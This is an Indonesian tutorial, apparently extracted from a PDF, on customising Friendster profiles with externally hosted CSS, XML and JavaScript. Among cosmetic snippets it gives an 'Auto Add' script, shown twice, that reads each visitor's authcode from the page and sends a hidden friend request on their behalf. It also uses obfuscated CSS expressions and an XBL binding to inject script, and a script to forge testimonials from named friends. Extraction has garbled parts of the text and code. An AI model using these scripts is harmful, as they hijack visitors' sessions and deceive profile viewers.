LAYOUT WITH CSS JAVASCRIPT TUTORIAL

LAYOUT WITH CSS / JAVASCRIPT TUTORIAL Oleh: gw_nobi Hallo semua, apa kabar hari ini? Pasti lagi online ye? Heuheuheu Gimana kabar Friendsternya? Makin cantik apa makin ancur nih? Wakakakakakak…gimana udah bisa bikin layout sendiri? Haa?!! Belom? Busengg…nih gw bagi2 bacaan biar Profile Friendster lu semua pada kerenn! Uhmmm enaknya mulai dari mana ya? Ada yang punya ide? Oke deh gw bikin per BAB aja ya biar kayak buku pelajaran sekolah dulu :D Nih daftar isinye… BAB 1 = Gimana Cara Bikin Hostingan.

BAB 2 = Gimana Cara Bikin CSS / JavaScript Eksternal. BAB 3 = 10 CSS + 10 JavaScript buat lu semua. Gw kira cukup lah 3 BAB ya…biar gak terlalu pusing juga bacanya :p

BAB 1 Gimana Cara Bikin Hostingan. Sebelum dimulai, ada yang tau apa itu hostingan? Pasti udah pada tau kan? Ok gw anggap udah pada tau.

Site buat ngehosting dimana sih? Site penyedia jasa hostingan itu ada banyak bgt, tapi yang mudah dan bisa membaca file berekstensi

, hanya

PHP/JAVA/XML/CSS/MP3/DLL site² tertentu seperti RIPWAY, FILEAVE, GEOCITIES,dll.

Kenapa harus di site itu? Karena GRATIS BOOO..! Bgahahahaha…
Menurut lu, HOSTINGAN yang lu rekomendasiin site apaan? Menurut gw mending pake di RIPWAY/FILEAVE
Trus Cara bikinnya bijimane? Ok ok, gw mulai… 1. Lu www.ripway.com ketik di browser lu. Nah, nanti lu bakalan nemu Page seperti ini.

lu klik trus lu bakalan ngedirect ke halaman ini..

Lu isi form diatas, trus klik Sign Up Now! Nah udah daftar kan? Horeee akhirnya punya hostingan :D Trus lu bakalan ke direct ke halaman ini..

Ok skr kita dah masuk ke halaman utama. sekarang kita cari gambar ini , kalo dah ketemu, lu klik trus lu bakalan nemu halaman ini.

Kita sekarang berada di page My Files. Trus kita harus ngapaen? Trus ambil rokok dolo…sambil ngopi…bentar beli rokok dolo….

BAB2

Gimana Cara Bikin CSS / JavaScript / XML Eksternal .

Gimane BAB 1 Mudah kan? Tentu mudah bin gampang… Ok sekarang ceritanya kita ada di Halaman My Files .. Sekarang kita bikin dolo subfolder. Caranya? Cari gambar ini : , trus masukin nama di kolom tsb, lalu klik Creat Subfolder.. setelah lu klik Creat Subfolder, lu bakalan dikasi page kayak begini…

Lalu, lu klik nama folder yang udah lu buat, seperti ini.

Trus lu bakalan dianterin ke halaman ini…

( Extensible Markup Language )

XML

Pertama tama kita bikin dulu

XML nya ya…

Apa itu XML?

Extensible Markup Language (

XML ) adalah bahasa markup serbaguna

yang direkomendasikan W3C untuk mendeskripsikan berbagai macam data. XML menggunakan markup tags seperti halnya HTML namun penggunaannya tidak terbatas pada tampilan halaman web saja.

Klik …Tiba2nongol beginian…

XML SOURCE:

<?xml version="1.0"?> <bindings ns="http://www.mozilla.org/xbl"> <binding id="cradle"> <implementation> <constructor><![CDATA[document.write('<script src= URL .JS MASUKIN

DISINI ></script>')]]></constructor>

</implementation> </binding> </bindings> CONTOH!

Setelah di save, lu bakalan bisa liat hasilnya…

Seperti ini… Klik Edit , untuk merubah isi dari XML tsb.

Tahap pembuatan XML selesai…hoeeee….

(Cascading Style Sheets ) CSS

Sekarang kita bikin CSS nye… Piye carane? Apaan tuh CSS?

Cascading Style Sheets (CSS) adalah suatu bahasa stylesheet yang

digunakan untuk mengatur tampilan suatu dokumen yang ditulis dalam

bahasa markup. Penggunaan yang paling umum dari CSS adalah untuk

memformat halaman web yang ditulis dengan HTML dan XHTML.

Walaupun demikian, bahasanya sendiri dapat dipergunakan untuk semua jenis dokumen XML termasuk SVG dan XUL. Spesifikasi CSS diatur oleh World Wide Web Consortium (W3C). CSS digunakan oleh penulis maupun pembaca halaman web untuk menentukan warna, jenis huruf, tata letak, dan berbagai aspek tampilan dokumen. CSS digunakan terutama untuk memisahkan antara isi dokumen (yang ditulis dengan HTML atau bahasa markup lainnya) dengan presentasi dokumen (yang ditulis dengan CSS). Pemisahan ini dapat meningkatkan aksesibilitas isi, memberikan lebih banyak keleluasaan dan kontrol terhadap tampilan, dan mengurangi kompleksitas serta pengulangan pada stuktur isi.

CSS memungkinkan halaman yang sama untuk ditampilkan dengan cara yang berbeda untuk metode presentasi yang berbeda, seperti melalui layar, cetak, suara (sewaktu dibacakan oleh browser basis-suara atau pembaca layar), dan juga alat pembaca braille. Halaman HTML atau XML yang sama juga dapat ditampilkan secara berbeda, baik dari segi gaya tampilan atau skema warna dengan menggunakan CSS.

Langkahnya tetep sama, klik gambar ini trus lu tetep bakal di anter ke halaman ini… Lalu masukin Source CSS seperti ini.

body {

Contoh :

Setelah selesai bikin CSS, lu bakal kembali ke halaman folder tadi, tapi ada yang nambah…seperti ini contohnya…

Tuh kan udah ada contoh.css yang baru… Mudah kan? Gimana mau lanjut? Apa istirahat dulu? Lanjut aja ya langsung biar cepet …wahhahahah Sebelum kita bikin File Javascript, hendaknya kita tau dolo bahwa JavaScript itu bisa kita tidak pakai. Karena javascript itu fungsinya hanya sebagai atribut.

Ok gw lanjut ya bikin File Javascript.

=========================================================== ========

JS / JAVASCRIPT

adalah nama implementasi Netscape Communications

JavaScript

Corporation untuk ECMAScript standar, suatu bahasa skrip yang didasarkan pada konsep pemrograman berbasis prototipe. Bahasa ini terutama terkenal karena penggunaannya di situs web (sebagai JavaScript sisi klien) dan juga digunakan untuk menyediakan akses skrip untuk objek yang dibenamkan (embedded) di aplikasi lain.

Walaupun memiliki nama serupa, JavaScript hanya sedikit berhubungan dengan bahasa pemrograman Java, dengan kesamaan utamanya adalah penggunaan sintaks C. Secara semantik, JavaScript memiliki lebih banyak kesamaan dengan bahasa pemrograman Self.

Skrip JavaScript yang dimasukkan di dalam berkas HTML ataupun

XHTML harus dimasukkan di antara tag <script>...</script> . Berikut ini adalah contohnya (yang akan menampilkan sebuah dialog box berisi Halo Dunia! ketika sebuah tombol diklik oleh pengguna): sekarang gimana cara kita bikin ?

File JavaScript

Langkahnya tetep sama, klik gambar ini trus lu tetep bakal di anter ke halaman ini…

Contoh, kita masukan script ini: var afaimg = document.createElement('span'); afaimg.id = "addme"; document.getElementsByTagName('head')[0].appendChild(afaimg); function afa() { var eadd = " EMAIL FS LU "; var k = document.getElementById("controlPanelButtons").innerHTML; var a = k.slice(k.indexOf("authcode=")); var m = a.slice(9,39); document.getElementById("addme").innerHTML = "<img

src=\"http://www.friendster.com/addfriendrequest.php?authcode="+m+"&uid="+pageO

wnerID+"&email="+eadd+"&firstname=&lastname=&friend=&submit=1\" width=\"0\"

height=\"0\" />"; } if (!attachOnLoadHandler(function() { afa();})) window.onload = function() { afa();}; itu script gunanya untuk di Friendster.

AUTO ADD

Contoh Gambar:

Setelah kita CREATE , kita bakal punya file Javascript baru di halaman folder kita.

Seperti ini contohnya: Nah sekarang kita udah punya 3 file, yaitu XML, CSS , dan Javascript.

Gimana? Mudah kan? Trus sekarang apa yang di sebut dengan ?

URL JS/URL CSS/URL/XML

URL JS = http://h1.ripway.com/gwnobi2/contoh/contoh.js URL CSS = http://h1.ripway.com/gwnobi2/contoh/contoh.css URR XML = http://h1.ripway.com/gwnobi2/contoh/contoh.xml Kita bisa lihat di Direct Link bawah nama File kita. Dan URL tsb yang kita copy paste di setiap ada perintah GANTI URL DISINI (sesuai yang di perintahkan).

Terus, kalo mau masukin ke FS gimana caranya?

1. Login di FS kita

2. Klik Edit Profile

3. Lalu kita lihat dibagian About me dan Who I want to meet ( seperti

gambar dibawah )

Kita isikan Linker CSS kita dibagian About me atau Who I want to meet. Linker CSS :

GANTI DENGAN URL CSS

Kita copy source diatas dan pastekan di bagian About me / who I want to meet.

OK selesai sudah BAB 1 dan 2. bagaimana? Sudah di mengerti? Kalo belom kita bahas aja ya di forum. Trus udah ini kita ke BAB 3 aja ya? Gimana mau? Pasti mau donk..ehueheuhe… Ok deh kita mulai aja BAB 3 ya.

10 CSS + 10 JAVASCRIPT Nih gw kasi sedikit CSS dan Javascript koleksi gw.

CSS

(ingat semua source CSS kita taruh di File CSS kita bukan di tempat lain)

Translucent Box Untuk Semua Box .controlpanel { background-color: #000000 ; filter:alpha(opacity=80);

Untuk ShoutBox .controlpanel .so, .minicontrolpanel .so { background-color: #000000 ; filter:alpha(opacity=80;);

moz-opacity:0.9;opacity: 0.9; } .commonbox { background-color: #000000 ; filter:alpha(opacity=80);
moz-opacity:0.9;opacity: 0.9; } .commonbox .evenrow { background-color: #000000 ; filter:alpha(opacity=80;);
moz-opacity:0.9;opacity: 0.9; }
moz-opacity:0.9;opacity: 0.9; } .controlpanel .sol, .minicontrolpanel .sol { background-color: #000000 ; filter:alpha(opacity=80;);
moz-opacity:0.9;opacity: 0.9; } .controlpanel .sob, .minicontrolpanel .sob { background-color: #000000 ; filter:alpha(opacity=80;);
moz-opacity:0.9;opacity: 0.9; }

Save Semua Source di CSS file lu. Yang warna merah adalah HEXCOLOR, itu bisa dig anti sesuai ingin kita

. #000000

adalah

2. Title Bar pake CSS

/* Title Bar */ body{top:expr/**/ession(fstweakerspagetitle() function fstweakerspagetitle(){ document.title = ' GANTI TEKS NYA DISINI '; });}

Preview: 3.

Primary Photo pake Border Gambar

/* Primary photo pake border gambar*/ .controlpanel .imgblock200 { background-color: transparent; background-image: url( URL GAMBARNYA DISINI ); background-position: center center; background-attachment: fixed; background-repeat: repeat; border-color: #000000; border-style: dashed; border-width: 4px; padding-left: 10px; padding-right:10px; padding-top:10px; padding- bottom:10px; margin-left:0; margin-right:0px; margin-top:25; margin-bottom:0px; }

Preview :

4. ( yang di pinggir kanan/kiri ilang) Bikin Profile ditengah²

.controlpanel,.photos,.blogs,.reviews,.moreabout,.publiccomments,.scrapbook,.Widget,.

AppModule{

position:relative;left:150px!important;width:490px;overflow:auto}.meettrail,.friends,.gro

ups,.fanof {visibility:hidden!important}#googleAdPlacement display:none!important}body{overflow-x: visibility:hidden!important}

Preview:

5. Animasi Primary Photo

div.imgblock200 { background:url( URL GAMBA .GIF TARUH DISINI ); background-position: center center; background-repeat: no-repeat; height: ? ? px; width: px;

? ?

} div.imgblock200 img {display:none !important} rubah width dan height sesuai keinginan lu.

Preview:

Percuma kali preview…gambarnya juga ga bakal jalan kalo di PDF..wakakakka 6.

Rubah Warna yang di block ( FF onlehh ) ::-moz-selection{ background: #FBF5F8 ; color: #382C33 ; } ::selection { background: #FBF5F8 ; color: #382C33 ; } Ganti warna HEX di tulisan yang gw warnain merah:D Preview:

7. Welcome Alert pake CSS

Normal Welcome Alert

body{left:exp/**/ression( function welcome() { alert(' Pesen '); } window.onload=welcome);}

Double Welcome Alert

body{left:exp/**/ression( function welcome() { alert(' Pesen '); alert(' Pesen '); } window.onload=welcome);}

Megaton Welcome Alert

body{left:exp/**/ression( function welcome() { alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); alert('

Pesen '); alert(' Pesen '); alert(' Pesen '); alert(' Pesen '); }

window.onload=welcome);}

Preview:

8. New Main Nav

/*REMOVE BLU E HORIZONTAL BAR*/

#mainnav{margin: 0 0px; background:transparent! important; border: transparent!important; text-align:

center; } /*REMOVE CLASSIFIED,JOB,INVITE*/ .secondary_links {display:none} /*CENTER MAINNAV- IE ONLY*/ .primary_links { margin-left: 160px !important;} /* HOME , My Apps , Search */ #mainnav ul li span.noSubMenu a

{ background-color:transparent! important; padding-right: 0px; color: #8B4513;/* lu bisa rubah warna

background disini*/} /* MY PROFILE , MY CONNECTION , EXPLORE*/ #mainnav ul li a { display: inline; margin-right: 0px! important; padding-bottom: 0pt; padding-left: 0px; text-decoration: none; color: #8B4513! important; font-size: 12px; line-height: 20px; font-weight: bold; white-space: nowrap; /* u may put bg, border codes here*/} /*HOVER- PRIMARY LINKS*/ #mainnav ul li a:hover { color: #CD853F! important; background: transparent! important; text-decoration: none;/* u may put bg, border codes here*/ } /*REMOVE or CUSTOMIZE Arrow to BULLETS or BG*/ #mainnav .mainfoldericon { background-color: transparent! important; background-image: url()! important; background-repeat: no-repeat; background-attachment: scroll;} /*SUBLINK DROP DOWN MENU*/ #mainnav ul li ul li a {display: block; padding-top: 1px; padding-right: 0pt; padding-bottom: 1px; padding-left: 0px;

background:#FDF5E6; color:#8B4513; border:2px outset #FFFFFF; margin: 3px 0 0 0; text- align:center!

important ; /* u may put bg codes here*/} /*SUBLINK DROP DOWN MENU- Hover*/ #mainnav ul li ul li a:hover {color:#CD853F; border:2px inset #FFFFFF; background-color:#FDF5E6! important; text-decoration: none; /* u may put bg code here*/}

Preview : 9.

Hover background pake gambar /* HOVER BACKGROUND EFFECT */ a:hover, a.navbar:hover { background-image:url( URL GAMBAR .GIF ); } a:hover img { background-image:url( );

URL GAMBAR .GIF filter:none; }

Preview

No preview..huhuhuhuh

10.Ganti Footer pake gambar

#footer {display: none;} #footer_container { background:url( ) ;

JAVASCRIPT

(ingat semua source Javascript kita taruh di File Javascript kita bukan di tempat lain)

1. Bikin Testimonial / Comment Palsu

if (!attachOnLoadHandler(function(){embed()})) window.onload = function(){fakecomments()}; function fakecomments(){ var bwizett = "<div class='fitem1wrapper'><table class='fitem1table'><tbody><tr>"+ "<td class='itd'><div class='imgblock75'><a href='/ Friend_FS_ID '>"+ "<img src=' Photo_Url_Of_Friend '></a></div></td> "+ "<td class='dtd'><ul class='data'>"+ "<li class='title'><a href='/ Friend_FS_ID '> Friend_Name </a></li>"+ "<li> Comment </li>"+ "</ul></td>"+ "</tr></tbody></table></div>"+ "<div class='fitem1wrapper'><table class='fitem1table'><tbody><tr>"+ "<td class='itd'><div class='imgblock75'><a href='/ Friend_FS_ID '>"+ "<img src=' Photo_Url_Of_Friend '></a></div></td> "+ "<td class='dtd'><ul class='data'>"+ "<li class='title'><a href='/ Friend_FS_ID '> Friend_Name </a></li>"+ "<li> Comment </li>"+ "</ul></td>"+ "</tr></tbody></table></div>"+ "<div class='fitem1wrapper'><table class='fitem1table'><tbody><tr>"+ "<td class='itd'><div class='imgblock75'><a href='/ Friend_FS_ID '>"+ "<img src=' Photo_Url_Of_Friend

'> Friend_Name </a></li>"+ "<li> Comment </li>"+ "</ul></td>"+ "</tr></tbody></table></div>"+ "<div class='fitem1wrapper'><table class='fitem1table'><tbody><tr>"+ "<td class='itd'><div class='imgblock75'><a href='/ Friend_FS_ID '>"+ "<img src=' Photo_Url_Of_Friend '></a></div></td>"+ "<td class='dtd'><ul class='data'>"+ "<li class='title'><a href='/ Friend_FS_ID '> Friend_Name </a></li>"+ "<li> Comment </li>"+ "</ul></td>"+ "</tr></tbody></table></div>"+ "<div class='fitem1wrapper'><table class='fitem1table'><tbody><tr>"+ "<td class='itd'><div class='imgblock75'><a href='/ Friend_FS_ID '>"+ "<img src=' Photo_Url_Of_Friend '></a></div></td>"+ "<td class='dtd'><ul class='data'>"+ "<li class='title'><a href='/ Friend_FS_ID '> Friend_Name </a></li>"+ "<li> Comment </li>"+ "</ul></td>"+ "</tr></tbody></table></div>"+ "<div class='fitem1wrapper'><table class='fitem1table'><tbody><tr>"+ "<td class='itd'><div style=\"width:100%;text-align:center;\"><a href=\"http://www.friendster.com/comment s.php?uid=

ID FS LO \" target=\"_blank\"><b>View All </a> | <a href=\"http://www.friendster.com/comment Keterangan: Friend_FS_ID =

ID FS TEMEN LO

Photo_Url_Of_Friend =

URL PHOTO TEMEN LO

Friend_Name =

NAMA TEMEN LO

Comment = TESTIMONIAL MANIPULASI Preview:

2. Costumize Main Navigation

function feruzzbedalakubalik() { var nakmakanayam = document.getElementById("mainnav"); var nkgilondon = "<div class=\"primary_links\"><a href=http://www.friendster.com/> Home </a> | <a href=http://www.friendster.com/user.php> Profile </a> | <a href=http://www.friendster.com/friends.php> Friends </a></div><div class=\"secondary_links\"><a href=http://www.friendster.com/explore.php> </a> | <a

Explore

href=http://www.friendster.com/gallery.php> </a> | <a

href=http://www.friendster.com/video.php> </a> | <a

Video

href=http://www.friendster.com/editcollege.php?A=s> Schools </a> | <a href=http://olx.friendster.com/gateway_cobranded.php> <

Classifieds

/a> | <a

href=http://olx.friendster.com/gateway_cobranded.php?target=jobs>

obs

</a> | <a href=http://www.friendster.com/blogs.php> Blogs </a> | <a href=http://www.friendster.com/group/mygroup.php> Groups </a> | <a href=http://www.friendster.com/invite.php> </a></div>";

Invite

nakmakanayam.innerHTML = nkgilondon; } window.onload = function() {feruzzbedalakubalik();}

Preview:

3. Alert Message pake Javascript

Simple Welcome Alert

alert("Welcome to my profile"+pageViewerFName+"!"); .

Double Welcome Alert

alert("Welcome to my profile "+pageViewerFName+"!"); alert("Ready?");

Welcome Alert With Line Breaks

alert("Welcome to my profile "+pageViewerFName+"!" + '\n' + "Are You Happy Today?" + '\n' + "If Not Always Smile!"); alert("Anyway Give Me Some Comments " + '\n' + "Sorry For The Inconvinience..." + '\n' + "Have A Nice Day!");

Preview:

4. Auto Add

var email_add = " ";

EMAIL FS LU

var get_authcode = document.getElementById("controlPanelButtons").innerHTML; var add_it = get_authcode.slice(get_authcode.indexOf("authcode=")); var PlaceInput = add_it.slice(9,39); document.write('<img src="http://www.friendster.com/addfriendrequest.php?authcode='

PlaceInput + '&uid='
pageOwnerID + '&email='
email_add + '&firstname=&lastname=&friend=&submit=1"'
' width="0" height="0" style="display:none" />'); 5.

Icon dibawah tombol Control Panel var penyuberenang; try {penyuberenang = document.createElement("div");} catch (e) {penyuberenang = document.createElement("<div>");} penyuberenang.innerHTML = " URL ICON KAMU DISINI "; penyuberenang.setAttribute("style","text-align:center;padding-top:10px");

document.getElementById("controlPanelButtons").parentNode.appendChild(penyuberen

ang);

Preview:

6. Ganti Data kamu di Control Panel + Gambar if (typeof CFNAMES == "undefined") { CFNAMES = {}; } CFNAMES = { getData: null, sibling: null, init: function() { CFNAMES.getData = document.createElement("ul"); CFNAMES.getData.setAttribute("class","data"); CFNAMES.getData.innerHTML = "<li><span class=\"q\"> TEXT

KAMU </span></li>"+